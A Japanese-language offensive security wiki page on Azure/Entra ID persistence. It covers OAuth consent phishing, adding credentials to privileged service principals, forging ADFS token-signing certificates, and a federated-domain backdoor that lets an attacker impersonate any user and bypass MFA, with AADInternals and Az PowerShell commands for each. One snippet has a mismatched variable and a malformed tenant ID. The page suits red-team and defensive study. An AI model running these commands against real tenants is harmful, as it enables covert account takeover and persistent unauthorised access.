# Az - Persistence

{{#include ../../../banners/hacktricks-training.md}}

### OAuthアプリケーション

デフォルトでは、任意のユーザーがEntra IDにアプリケーションを登録できます。したがって、高い影響力のある権限が必要なアプリケーション（ターゲットテナント専用）を登録できます。管理者の同意が必要です（管理者であれば承認できます） - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりすることです。これにより、成功した場合に非常に**有益な**フィッシング攻撃を**実行する**ことができます。

さらに、ユーザーとしてそのアプリケーションを受け入れることで、アクセスを維持する方法としても利用できます。

### アプリケーションとサービスプリンシパル

Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報（シークレットまたは証明書）を追加できます。

**高い権限を持つアプリケーションをターゲットにする**ことも、**高い権限を持つ新しいアプリケーションを追加する**ことも可能です。

アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これにより、グローバル管理者の**パスワードをリセット**することができます。

この技術は、**MFAをバイパスする**ことも可能にします。
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- 証明書ベースの認証の場合
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Token Signing Certificate

**DA権限**を持つオンプレミスADでは、非常に長い有効期限を持つ**新しいトークン署名**および**トークン復号化証明書**を作成およびインポートすることが可能です。これにより、**ImmutableID**を知っている任意のユーザーとして**ログイン**することができます。

**以下のコマンドを**、**ADFSサーバーでDAとして**実行して新しい証明書を作成し（デフォルトパスワード 'AADInternals'）、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します：
```bash
New-AADIntADFSSelfSignedCertificates
```
次に、Azure ADで証明書情報を更新します:
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federation - Trusted Domain

テナントにGA権限がある場合、**新しいドメインを追加**することが可能です（確認が必要です）、その認証タイプをFederatedに設定し、ドメインを**特定の証明書**（以下のコマンドのany.sts）および発行者を信頼するように設定します：
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
```
## 参考文献

- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)

{{#include ../../../banners/hacktricks-training.md}}
